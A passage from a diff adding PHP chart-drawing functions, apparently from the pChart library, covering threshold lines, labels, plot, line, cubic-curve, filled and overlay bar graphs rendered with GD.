=$this->AllocateColor($this->Picture,0,0,0); + if ( $Shadow ) + imagettftext($this->Picture,$this->FontSize,$Angle,$X+1,$Y+1,$C_ShadowColor,$this->FontName,$Text); + + imagettftext($this->Picture,$this->FontSize,$Angle,$X,$Y,$C_TextColor,$this->FontName,$Text); + } + + /* Compute and draw the scale */ + function drawTreshold($Value,$R,$G,$B,$ShowLabel=FALSE,$ShowOnRight=FALSE,$TickWidth=4,$FreeText=NULL) + { + if ( $R < 0 ) { $R = 0; } if ( $R > 255 ) { $R = 255; } + if ( $G < 0 ) { $G = 0; } if ( $G > 255 ) { $G = 255; } + if ( $B < 0 ) { $B = 0; } if ( $B > 255 ) { $B = 255; } + + $C_TextColor =$this->AllocateColor($this->Picture,$R,$G,$B); + $Y = $this->GArea_Y2 - ($Value - $this->VMin) * $this->DivisionRatio; + + if ( $Y <= $this->GArea_Y1 || $Y >= $this->GArea_Y2 ) + return(-1); + + if ( $TickWidth == 0 ) + $this->drawLine($this->GArea_X1,$Y,$this->GArea_X2,$Y,$R,$G,$B); + else + $this->drawDottedLine($this->GArea_X1,$Y,$this->GArea_X2,$Y,$TickWidth,$R,$G,$B); + + if ( $ShowLabel ) + { + if ( $FreeText == NULL ) + { $Label = $Value; } else { $Label = $FreeText; } + + if ( $ShowOnRight ) + imagettftext($this->Picture,$this->FontSize,0,$this->GArea_X2+2,$Y+($this->FontSize/2),$C_TextColor,$this->FontName,$Label); + else + imagettftext($this->Picture,$this->FontSize,0,$this->GArea_X1+2,$Y-($this->FontSize/2),$C_TextColor,$this->FontName,$Label); + } + } + + /* This function put a label on a specific point */ + function setLabel($Data,$DataDescription,$SerieName,$ValueName,$Caption,$R=210,$G=210,$B=210) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("setLabel",$DataDescription); + $this->validateData("setLabel",$Data); + $ShadowFactor = 100; + $C_Label =$this->AllocateColor($this->Picture,$R,$G,$B); + $C_Shadow =$this->AllocateColor($this->Picture,$R-$ShadowFactor,$G-$ShadowFactor,$B-$ShadowFactor); + $C_TextColor =$this->AllocateColor($this->Picture,0,0,0); + + $Cp = 0; $Found = FALSE; + foreach ( $Data as $Key => $Value ) + { + if ( $Data[$Key][$DataDescription["Position"]] == $ValueName ) + { $NumericalValue = $Data[$Key][$SerieName]; $Found = TRUE; } + if ( !$Found ) + $Cp++; + } + + $XPos = $this->GArea_X1 + $this->GAreaXOffset + ( $this->DivisionWidth * $Cp ) + 2; + $YPos = $this->GArea_Y2 - ($NumericalValue - $this->VMin) * $this->DivisionRatio; + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Caption); + $TextHeight = $Position[3] - $Position[5]; + $TextWidth = $Position[2]-$Position[0] + 2; + $TextOffset = floor($TextHeight/2); + + // Shadow + $Poly = array($XPos+1,$YPos+1,$XPos + 9,$YPos - $TextOffset,$XPos + 8,$YPos + $TextOffset + 2); + imagefilledpolygon($this->Picture,$Poly,3,$C_Shadow); + $this->drawLine($XPos,$YPos+1,$XPos + 9,$YPos - $TextOffset - .2,$R-$ShadowFactor,$G-$ShadowFactor,$B-$ShadowFactor); + $this->drawLine($XPos,$YPos+1,$XPos + 9,$YPos + $TextOffset + 2.2,$R-$ShadowFactor,$G-$ShadowFactor,$B-$ShadowFactor); + $this->drawFilledRectangle($XPos + 9,$YPos - $TextOffset-.2,$XPos + 13 + $TextWidth,$YPos + $TextOffset + 2.2,$R-$ShadowFactor,$G-$ShadowFactor,$B-$ShadowFactor); + + // Label background + $Poly = array($XPos,$YPos,$XPos + 8,$YPos - $TextOffset - 1,$XPos + 8,$YPos + $TextOffset + 1); + imagefilledpolygon($this->Picture,$Poly,3,$C_Label); + $this->drawLine($XPos-1,$YPos,$XPos + 8,$YPos - $TextOffset - 1.2,$R,$G,$B); + $this->drawLine($XPos-1,$YPos,$XPos + 8,$YPos + $TextOffset + 1.2,$R,$G,$B); + $this->drawFilledRectangle($XPos + 8,$YPos - $TextOffset - 1.2,$XPos + 12 + $TextWidth,$YPos + $TextOffset + 1.2,$R,$G,$B); + + imagettftext($this->Picture,$this->FontSize,0,$XPos + 10,$YPos + $TextOffset,$C_TextColor,$this->FontName,$Caption); + } + + /* This function draw a plot graph */ + function drawPlotGraph($Data,$DataDescription,$BigRadius=5,$SmallRadius=2,$R2=-1,$G2=-1,$B2=-1,$Shadow=FALSE) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawPlotGraph",$DataDescription); + $this->validateData("drawPlotGraph",$Data); + + $GraphID = 0; + $Ro = $R2; $Go = $G2; $Bo = $B2; + + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $R = $this->Palette[$ColorID]["R"]; + $G = $this->Palette[$ColorID]["G"]; + $B = $this->Palette[$ColorID]["B"]; + $R2 = $Ro; $G2 = $Go; $B2 = $Bo; + + if ( isset($DataDescription["Symbol"][$ColName]) ) + { + $Is_Alpha = ((ord ( file_get_contents ($DataDescription["Symbol"][$ColName], false, null, 25, 1)) & 6) & 4) == 4; + + $Infos = getimagesize($DataDescription["Symbol"][$ColName]); + $ImageWidth = $Infos[0]; + $ImageHeight = $Infos[1]; + $Symbol = imagecreatefromgif($DataDescription["Symbol"][$ColName]); + } + + $XPos = $this->GArea_X1 + $this->GAreaXOffset; + $Hsize = round($BigRadius/2); + $R3 = -1; $G3 = -1; $B3 = -1; + foreach ( $Data as $Key => $Values ) + { + $Value = $Data[$Key][$ColName]; + $YPos = $this->GArea_Y2 - (($Value-$this->VMin) * $this->DivisionRatio); + + /* Save point into the image map if option activated */ + if ( $this->BuildMap ) + $this->addToImageMap($XPos-$Hsize,$YPos-$Hsize,$XPos+1+$Hsize,$YPos+$Hsize+1,$DataDescription["Description"][$ColName],$Data[$Key][$ColName].$DataDescription["Unit"]["Y"],"Plot"); + + if ( is_numeric($Value) ) + { + if ( !isset($DataDescription["Symbol"][$ColName]) ) + { + + if ( $Shadow ) + { + if ( $R3 !=-1 && $G3 !=-1 && $B3 !=-1 ) + $this->drawFilledCircle($XPos+2,$YPos+2,$BigRadius,$R3,$G3,$B3); + else + { + $R3 = $this->Palette[$ColorID]["R"]-20; if ( $R3 < 0 ) { $R3 = 0; } + $G3 = $this->Palette[$ColorID]["G"]-20; if ( $G3 < 0 ) { $G3 = 0; } + $B3 = $this->Palette[$ColorID]["B"]-20; if ( $B3 < 0 ) { $B3 = 0; } + $this->drawFilledCircle($XPos+2,$YPos+2,$BigRadius,$R3,$G3,$B3); + } + } + + $this->drawFilledCircle($XPos+1,$YPos+1,$BigRadius,$R,$G,$B); + + if ( $SmallRadius != 0 ) + { + if ( $R2 !=-1 && $G2 !=-1 && $B2 !=-1 ) + $this->drawFilledCircle($XPos+1,$YPos+1,$SmallRadius,$R2,$G2,$B2); + else + { + $R2 = $this->Palette[$ColorID]["R"]-15; if ( $R2 < 0 ) { $R2 = 0; } + $G2 = $this->Palette[$ColorID]["G"]-15; if ( $G2 < 0 ) { $G2 = 0; } + $B2 = $this->Palette[$ColorID]["B"]-15; if ( $B2 < 0 ) { $B2 = 0; } + + $this->drawFilledCircle($XPos+1,$YPos+1,$SmallRadius,$R2,$G2,$B2); + } + } + } + else + { + imagecopymerge($this->Picture,$Symbol,$XPos+1-$ImageWidth/2,$YPos+1-$ImageHeight/2,0,0,$ImageWidth,$ImageHeight,100); + } + } + + $XPos = $XPos + $this->DivisionWidth; + } + $GraphID++; + } + } + + /* This function draw a plot graph in an X/Y space */ + function drawXYPlotGraph($Data,$DataDescription,$YSerieName,$XSerieName,$PaletteID=0,$BigRadius=5,$SmallRadius=2,$R2=-1,$G2=-1,$B2=-1,$Shadow=TRUE) + { + $R = $this->Palette[$PaletteID]["R"]; + $G = $this->Palette[$PaletteID]["G"]; + $B = $this->Palette[$PaletteID]["B"]; + $R3 = -1; $G3 = -1; $B3 = -1; + + $YLast = -1; $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$YSerieName]) && isset($Data[$Key][$XSerieName]) ) + { + $X = $Data[$Key][$XSerieName]; + $Y = $Data[$Key][$YSerieName]; + + $Y = $this->GArea_Y2 - (($Y-$this->VMin) * $this->DivisionRatio); + $X = $this->GArea_X1 + (($X-$this->VXMin) * $this->XDivisionRatio); + + + if ( $Shadow ) + { + if ( $R3 !=-1 && $G3 !=-1 && $B3 !=-1 ) + $this->drawFilledCircle($X+2,$Y+2,$BigRadius,$R3,$G3,$B3); + else + { + $R3 = $this->Palette[$PaletteID]["R"]-20; if ( $R < 0 ) { $R = 0; } + $G3 = $this->Palette[$PaletteID]["G"]-20; if ( $G < 0 ) { $G = 0; } + $B3 = $this->Palette[$PaletteID]["B"]-20; if ( $B < 0 ) { $B = 0; } + $this->drawFilledCircle($X+2,$Y+2,$BigRadius,$R3,$G3,$B3); + } + } + + $this->drawFilledCircle($X+1,$Y+1,$BigRadius,$R,$G,$B); + + if ( $R2 !=-1 && $G2 !=-1 && $B2 !=-1 ) + $this->drawFilledCircle($X+1,$Y+1,$SmallRadius,$R2,$G2,$B2); + else + { + $R2 = $this->Palette[$PaletteID]["R"]+20; if ( $R > 255 ) { $R = 255; } + $G2 = $this->Palette[$PaletteID]["G"]+20; if ( $G > 255 ) { $G = 255; } + $B2 = $this->Palette[$PaletteID]["B"]+20; if ( $B > 255 ) { $B = 255; } + $this->drawFilledCircle($X+1,$Y+1,$SmallRadius,$R2,$G2,$B2); + } + } + } + + } + + /* This function draw an area between two series */ + function drawArea($Data,$Serie1,$Serie2,$R,$G,$B,$Alpha = 50) + { + /* Validate the Data and DataDescription array */ + $this->validateData("drawArea",$Data); + + $LayerWidth = $this->GArea_X2-$this->GArea_X1; + $LayerHeight = $this->GArea_Y2-$this->GArea_Y1; + + $this->Layers[0] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White =$this->AllocateColor($this->Layers[0],255,255,255); + imagefilledrectangle($this->Layers[0],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[0],$C_White); + + $C_Graph =$this->AllocateColor($this->Layers[0],$R,$G,$B); + + $XPos = $this->GAreaXOffset; + $LastXPos = -1; + foreach ( $Data as $Key => $Values ) + { + $Value1 = $Data[$Key][$Serie1]; + $Value2 = $Data[$Key][$Serie2]; + $YPos1 = $LayerHeight - (($Value1-$this->VMin) * $this->DivisionRatio); + $YPos2 = $LayerHeight - (($Value2-$this->VMin) * $this->DivisionRatio); + + if ( $LastXPos != -1 ) + { + $Points = ""; + $Points[] = $LastXPos; $Points[] = $LastYPos1; + $Points[] = $LastXPos; $Points[] = $LastYPos2; + $Points[] = $XPos; $Points[] = $YPos2; + $Points[] = $XPos; $Points[] = $YPos1; + + imagefilledpolygon($this->Layers[0],$Points,4,$C_Graph); + } + + $LastYPos1 = $YPos1; + $LastYPos2 = $YPos2; + $LastXPos = $XPos; + + $XPos = $XPos + $this->DivisionWidth; + } + + imagecopymerge($this->Picture,$this->Layers[0],$this->GArea_X1,$this->GArea_Y1,0,0,$LayerWidth,$LayerHeight,$Alpha); + imagedestroy($this->Layers[0]); + } + + + /* This function write the values of the specified series */ + function writeValues($Data,$DataDescription,$Series) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("writeValues",$DataDescription); + $this->validateData("writeValues",$Data); + + if ( !is_array($Series) ) { $Series = array($Series); } + + foreach($Series as $Key => $Serie) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $Serie ) { $ColorID = $ID; }; $ID++; } + + $XPos = $this->GArea_X1 + $this->GAreaXOffset; + $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$Serie]) && is_numeric($Data[$Key][$Serie])) + { + $Value = $Data[$Key][$Serie]; + $YPos = $this->GArea_Y2 - (($Value-$this->VMin) * $this->DivisionRatio); + + $Positions = imagettfbbox($this->FontSize,0,$this->FontName,$Value); + $Width = $Positions[2] - $Positions[6]; $XOffset = $XPos - ($Width/2); + $Height = $Positions[3] - $Positions[7]; $YOffset = $YPos - 4; + + $C_TextColor =$this->AllocateColor($this->Picture,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagettftext($this->Picture,$this->FontSize,0,$XOffset,$YOffset,$C_TextColor,$this->FontName,$Value); + } + $XPos = $XPos + $this->DivisionWidth; + } + + } + } + + /* This function draw a line graph */ + function drawLineGraph($Data,$DataDescription,$SerieName="") + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawLineGraph",$DataDescription); + $this->validateData("drawLineGraph",$Data); + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + if ( $SerieName == "" || $SerieName == $ColName ) + { + $XPos = $this->GArea_X1 + $this->GAreaXOffset; + $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName])) + { + $Value = $Data[$Key][$ColName]; + $YPos = $this->GArea_Y2 - (($Value-$this->VMin) * $this->DivisionRatio); + + /* Save point into the image map if option activated */ + if ( $this->BuildMap ) + $this->addToImageMap($XPos-3,$YPos-3,$XPos+3,$YPos+3,$DataDescription["Description"][$ColName],$Data[$Key][$ColName].$DataDescription["Unit"]["Y"],"Line"); + + if (!is_numeric($Value)) { $XLast = -1; } + if ( $XLast != -1 ) + $this->drawLine($XLast,$YLast,$XPos,$YPos,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"],TRUE); + + $XLast = $XPos; + $YLast = $YPos; + if (!is_numeric($Value)) { $XLast = -1; } + } + $XPos = $XPos + $this->DivisionWidth; + } + $GraphID++; + } + } + } + + /* This function draw a line graph */ + function drawXYGraph($Data,$DataDescription,$YSerieName,$XSerieName,$PaletteID=0) + { + $YLast = -1; $XLast = -1; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$YSerieName]) && isset($Data[$Key][$XSerieName]) ) + { + $X = $Data[$Key][$XSerieName]; + $Y = $Data[$Key][$YSerieName]; + + $Y = $this->GArea_Y2 - (($Y-$this->VMin) * $this->DivisionRatio); + $X = $this->GArea_X1 + (($X-$this->VXMin) * $this->XDivisionRatio); + + if ($XLast != -1 && $YLast != -1) + { + $this->drawLine($XLast,$YLast,$X,$Y,$this->Palette[$PaletteID]["R"],$this->Palette[$PaletteID]["G"],$this->Palette[$PaletteID]["B"],TRUE); + } + + $XLast = $X; + $YLast = $Y; + } + } + } + + /* This function draw a cubic curve */ + function drawCubicCurve($Data,$DataDescription,$Accuracy=.1,$SerieName="") + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawCubicCurve",$DataDescription); + $this->validateData("drawCubicCurve",$Data); + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if ( $SerieName == "" || $SerieName == $ColName ) + { + $XIn = ""; $Yin = ""; $Yt = ""; $U = ""; + $XIn[0] = 0; $YIn[0] = 0; + + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $Index = 1; + $XLast = -1; $Missing = ""; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName]) ) + { + $Value = $Data[$Key][$ColName]; + $XIn[$Index] = $Index; + $YIn[$Index] = $Value; + if ( !is_numeric($Value) ) { $Missing[$Index] = TRUE; } + $Index++; + } + } + $Index--; + + $Yt[0] = 0; + $Yt[1] = 0; + $U[1] = 0; + for($i=2;$i<=$Index-1;$i++) + { + $Sig = ($XIn[$i] - $XIn[$i-1]) / ($XIn[$i+1] - $XIn[$i-1]); + $p = $Sig * $Yt[$i-1] + 2; + $Yt[$i] = ($Sig - 1) / $p; + $U[$i] = ($YIn[$i+1] - $YIn[$i]) / ($XIn[$i+1] - $XIn[$i]) - ($YIn[$i] - $YIn[$i-1]) / ($XIn[$i] - $XIn[$i-1]); + $U[$i] = (6 * $U[$i] / ($XIn[$i+1] - $XIn[$i-1]) - $Sig * $U[$i-1]) / $p; + } + + $qn = 0; + $un = 0; + $Yt[$Index] = ($un - $qn * $U[$Index-1]) / ($qn * $Yt[$Index-1] + 1); + + for($k=$Index-1;$k>=1;$k--) + $Yt[$k] = $Yt[$k] * $Yt[$k+1] + $U[$k]; + + $XPos = $this->GArea_X1 + $this->GAreaXOffset; + for($X=1;$X<=$Index;$X=$X+$Accuracy) + { + $klo = 1; + $khi = $Index; + $k = $khi - $klo; + while($k > 1) + { + $k = $khi - $klo; + If ( $XIn[$k] >= $X ) + $khi = $k; + else + $klo = $k; + } + $klo = $khi - 1; + + $h = $XIn[$khi] - $XIn[$klo]; + $a = ($XIn[$khi] - $X) / $h; + $b = ($X - $XIn[$klo]) / $h; + $Value = $a * $YIn[$klo] + $b * $YIn[$khi] + (($a*$a*$a - $a) * $Yt[$klo] + ($b*$b*$b - $b) * $Yt[$khi]) * ($h*$h) / 6; + + $YPos = $this->GArea_Y2 - (($Value-$this->VMin) * $this->DivisionRatio); + + if ( $XLast != -1 && !isset($Missing[floor($X)]) && !isset($Missing[floor($X+1)]) ) + $this->drawLine($XLast,$YLast,$XPos,$YPos,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"],TRUE); + + $XLast = $XPos; + $YLast = $YPos; + $XPos = $XPos + $this->DivisionWidth * $Accuracy; + } + + // Add potentialy missing values + $XPos = $XPos - $this->DivisionWidth * $Accuracy; + if ( $XPos < ($this->GArea_X2 - $this->GAreaXOffset) ) + { + $YPos = $this->GArea_Y2 - (($YIn[$Index]-$this->VMin) * $this->DivisionRatio); + $this->drawLine($XLast,$YLast,$this->GArea_X2-$this->GAreaXOffset,$YPos,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"],TRUE); + } + + $GraphID++; + } + } + } + + /* This function draw a filled cubic curve */ + function drawFilledCubicCurve($Data,$DataDescription,$Accuracy=.1,$Alpha=100,$AroundZero=FALSE) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawFilledCubicCurve",$DataDescription); + $this->validateData("drawFilledCubicCurve",$Data); + + $LayerWidth = $this->GArea_X2-$this->GArea_X1; + $LayerHeight = $this->GArea_Y2-$this->GArea_Y1; + $YZero = $LayerHeight - ((0-$this->VMin) * $this->DivisionRatio); + if ( $YZero > $LayerHeight ) { $YZero = $LayerHeight; } + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $XIn = ""; $Yin = ""; $Yt = ""; $U = ""; + $XIn[0] = 0; $YIn[0] = 0; + + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $Index = 1; + $XLast = -1; $Missing = ""; + foreach ( $Data as $Key => $Values ) + { + $Value = $Data[$Key][$ColName]; + $XIn[$Index] = $Index; + $YIn[$Index] = $Value; + if ( !is_numeric($Value) ) { $Missing[$Index] = TRUE; } + $Index++; + } + $Index--; + + $Yt[0] = 0; + $Yt[1] = 0; + $U[1] = 0; + for($i=2;$i<=$Index-1;$i++) + { + $Sig = ($XIn[$i] - $XIn[$i-1]) / ($XIn[$i+1] - $XIn[$i-1]); + $p = $Sig * $Yt[$i-1] + 2; + $Yt[$i] = ($Sig - 1) / $p; + $U[$i] = ($YIn[$i+1] - $YIn[$i]) / ($XIn[$i+1] - $XIn[$i]) - ($YIn[$i] - $YIn[$i-1]) / ($XIn[$i] - $XIn[$i-1]); + $U[$i] = (6 * $U[$i] / ($XIn[$i+1] - $XIn[$i-1]) - $Sig * $U[$i-1]) / $p; + } + + $qn = 0; + $un = 0; + $Yt[$Index] = ($un - $qn * $U[$Index-1]) / ($qn * $Yt[$Index-1] + 1); + + for($k=$Index-1;$k>=1;$k--) + $Yt[$k] = $Yt[$k] * $Yt[$k+1] + $U[$k]; + + $Points = ""; + $Points[] = $this->GAreaXOffset; + $Points[] = $LayerHeight; + + $this->Layers[0] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White =$this->AllocateColor($this->Layers[0],255,255,255); + imagefilledrectangle($this->Layers[0],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[0],$C_White); + + $YLast = NULL; + $XPos = $this->GAreaXOffset; $PointsCount = 2; + for($X=1;$X<=$Index;$X=$X+$Accuracy) + { + $klo = 1; + $khi = $Index; + $k = $khi - $klo; + while($k > 1) + { + $k = $khi - $klo; + If ( $XIn[$k] >= $X ) + $khi = $k; + else + $klo = $k; + } + $klo = $khi - 1; + + $h = $XIn[$khi] - $XIn[$klo]; + $a = ($XIn[$khi] - $X) / $h; + $b = ($X - $XIn[$klo]) / $h; + $Value = $a * $YIn[$klo] + $b * $YIn[$khi] + (($a*$a*$a - $a) * $Yt[$klo] + ($b*$b*$b - $b) * $Yt[$khi]) * ($h*$h) / 6; + + $YPos = $LayerHeight - (($Value-$this->VMin) * $this->DivisionRatio); + + if ( $YLast != NULL && $AroundZero && !isset($Missing[floor($X)]) && !isset($Missing[floor($X+1)])) + { + $aPoints = ""; + $aPoints[] = $XLast; + $aPoints[] = $YLast; + $aPoints[] = $XPos; + $aPoints[] = $YPos; + $aPoints[] = $XPos; + $aPoints[] = $YZero; + $aPoints[] = $XLast; + $aPoints[] = $YZero; + + $C_Graph =$this->AllocateColor($this->Layers[0],$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagefilledpolygon($this->Layers[0],$aPoints,4,$C_Graph); + } + + if ( !isset($Missing[floor($X)]) || $YLast == NULL ) + { + $PointsCount++; + $Points[] = $XPos; + $Points[] = $YPos; + } + else + { + $PointsCount++; $Points[] = $XLast; $Points[] = $LayerHeight; + } + + $YLast = $YPos; $XLast = $XPos; + $XPos = $XPos + $this->DivisionWidth * $Accuracy; + } + + // Add potentialy missing values + $XPos = $XPos - $this->DivisionWidth * $Accuracy; + if ( $XPos < ($LayerWidth-$this->GAreaXOffset) ) + { + $YPos = $LayerHeight - (($YIn[$Index]-$this->VMin) * $this->DivisionRatio); + + if ( $YLast != NULL && $AroundZero ) + { + $aPoints = ""; + $aPoints[] = $XLast; + $aPoints[] = $YLast; + $aPoints[] = $LayerWidth-$this->GAreaXOffset; + $aPoints[] = $YPos; + $aPoints[] = $LayerWidth-$this->GAreaXOffset; + $aPoints[] = $YZero; + $aPoints[] = $XLast; + $aPoints[] = $YZero; + + $C_Graph =$this->AllocateColor($this->Layers[0],$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagefilledpolygon($this->Layers[0],$aPoints,4,$C_Graph); + } + + if ( $YIn[$klo] != "" && $YIn[$khi] != "" || $YLast == NULL ) + { + $PointsCount++; + $Points[] = $LayerWidth-$this->GAreaXOffset; + $Points[] = $YPos; + } + } + + $Points[] = $LayerWidth-$this->GAreaXOffset; + $Points[] = $LayerHeight; + + if ( !$AroundZero ) + { + $C_Graph =$this->AllocateColor($this->Layers[0],$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagefilledpolygon($this->Layers[0],$Points,$PointsCount,$C_Graph); + } + + imagecopymerge($this->Picture,$this->Layers[0],$this->GArea_X1,$this->GArea_Y1,0,0,$LayerWidth,$LayerHeight,$Alpha); + imagedestroy($this->Layers[0]); + + $this->drawCubicCurve($Data,$DataDescription,$Accuracy,$ColName); + + $GraphID++; + } + } + + /* This function draw a filled line graph */ + function drawFilledLineGraph($Data,$DataDescription,$Alpha=100,$AroundZero=FALSE) + { + $Empty = -2147483647; + + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawFilledLineGraph",$DataDescription); + $this->validateData("drawFilledLineGraph",$Data); + + $LayerWidth = $this->GArea_X2-$this->GArea_X1; + $LayerHeight = $this->GArea_Y2-$this->GArea_Y1; + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $aPoints = ""; + $aPoints[] = $this->GAreaXOffset; + $aPoints[] = $LayerHeight; + + $this->Layers[0] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White = $this->AllocateColor($this->Layers[0],255,255,255); + imagefilledrectangle($this->Layers[0],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[0],$C_White); + + $XPos = $this->GAreaXOffset; + $XLast = -1; $PointsCount = 2; + $YZero = $LayerHeight - ((0-$this->VMin) * $this->DivisionRatio); + if ( $YZero > $LayerHeight ) { $YZero = $LayerHeight; } + + $YLast = $Empty; + foreach ( $Data as $Key => $Values ) + { + $Value = $Data[$Key][$ColName]; + $YPos = $LayerHeight - (($Value-$this->VMin) * $this->DivisionRatio); + + /* Save point into the image map if option activated */ + if ( $this->BuildMap ) + $this->addToImageMap($XPos-3,$YPos-3,$XPos+3,$YPos+3,$DataDescription["Description"][$ColName],$Data[$Key][$ColName].$DataDescription["Unit"]["Y"],"FLine"); + + if ( !is_numeric($Value) ) + { + $PointsCount++; + $aPoints[] = $XLast; + $aPoints[] = $LayerHeight; + + $YLast = $Empty; + } + else + { + $PointsCount++; + if ( $YLast <> $Empty ) + { $aPoints[] = $XPos; $aPoints[] = $YPos; } + else + { $PointsCount++; $aPoints[] = $XPos; $aPoints[] = $LayerHeight; $aPoints[] = $XPos; $aPoints[] = $YPos; } + + if ($YLast <> $Empty && $AroundZero) + { + $Points = ""; + $Points[] = $XLast; $Points[] = $YLast; + $Points[] = $XPos; + $Points[] = $YPos; + $Points[] = $XPos; + $Points[] = $YZero; + $Points[] = $XLast; + $Points[] = $YZero; + + $C_Graph = $this->AllocateColor($this->Layers[0],$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagefilledpolygon($this->Layers[0],$Points,4,$C_Graph); + } + $YLast = $YPos; + } + + $XLast = $XPos; + $XPos = $XPos + $this->DivisionWidth; + } + $aPoints[] = $LayerWidth - $this->GAreaXOffset; + $aPoints[] = $LayerHeight; + + if ( $AroundZero == FALSE ) + { + $C_Graph = $this->AllocateColor($this->Layers[0],$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"]); + imagefilledpolygon($this->Layers[0],$aPoints,$PointsCount,$C_Graph); + } + + imagecopymerge($this->Picture,$this->Layers[0],$this->GArea_X1,$this->GArea_Y1,0,0,$LayerWidth,$LayerHeight,$Alpha); + imagedestroy($this->Layers[0]); + $GraphID++; + $this->drawLineGraph($Data,$DataDescription,$ColName); + } + } + + /* This function draw a bar graph */ + function drawOverlayBarGraph($Data,$DataDescription,$Alpha=50) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawOverlayBarGraph",$DataDescription); + $this->validateData("drawOverlayBarGraph",$Data); + + $LayerWidth = $this->GArea_X2-$this->GArea_X1; + $LayerHeight = $this->GArea_Y2-$this->GArea_Y1; + + $GraphID = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + $ID = 0; + foreach ( $DataDescription["Description"] as $keyI => $ValueI ) + { if ( $keyI == $ColName ) { $ColorID = $ID; }; $ID++; } + + $this->Layers[$GraphID] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White = $this->AllocateColor($this->Layers[$GraphID],255,255,255); + $C_Graph = $this->AllocateColor($this->Layers[$GraphID],$this->Palette[$GraphID]["R"],$this->Palette[$GraphID]["G"],$this->Palette[$GraphID]["B"]); + imagefilledrectangle($this->Layers[$GraphID],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[$GraphID],$C_White); + + $XWidth = $this->DivisionWidth / 4; + $XPos = $this->GAreaXOffset; + $YZero = $LayerHeight - ((0-$this->VMin) * $this->DivisionRatio); + $XLast = -1; $PointsCount = 2; + foreach ( $Data as $Key => $Values ) + { + if ( isset($Data[$Key][$ColName]) ) + { + $Value = $Data[$Key][$ColName]; + if ( is_numeric($Value) ) + { + $YPos = $LayerHeight - (($Value-$this->VMin) * $this->DivisionRatio); + + imagefilledrectangle($this->Layers[$GraphID],$XPos-$XWidth,$YPos,$XPos+$XWidth,$YZero,$C_Graph); + + $X1 = floor($XPos - $XWidth + $this->GArea_X1); $Y1 = floor($YPos+$this->GArea_Y1) + .2; + $X2 = floor($XPos + $XWidth + $this->GArea_X1); $Y2 = $this->GArea_Y2 - ((0-$this->VMin) * $this->DivisionRatio); + if ( $X1 <= $this->GArea_X1 ) { $X1 = $this->GArea_X1 + 1; } + if ( $X2 >= $this->GArea_X2 ) { $X2 = $this->GArea_X2 - 1; } + + /* Save point into the image map if option activated */ + if ( $this->BuildMap ) + $this->addToImageMap($X1,min($Y1,$Y2),$X2,max($Y1,$Y2),$DataDescription["Description"][$ColName],$Data[$Key][$ColName].$DataDescription["Unit"]["Y"],"oBar"); + + $this->drawLine($X1,$Y1,$X2,$Y1,$this->Palette[$ColorID]["R"],$this->Palette[$ColorID]["G"],$this->Palette[$ColorID]["B"],TRUE); + } + } + $XPos = $XPos + $this->DivisionWidth; + } + + $GraphID++; + } + + for($i=0;$i<=($GraphID-1);$i++) + { + imagecopymerge($this->Picture,$this->Layers[$i],$this->GArea_X1,$this->GArea_Y1,0,0,$LayerWidth,$LayerHeight,$Alpha); + 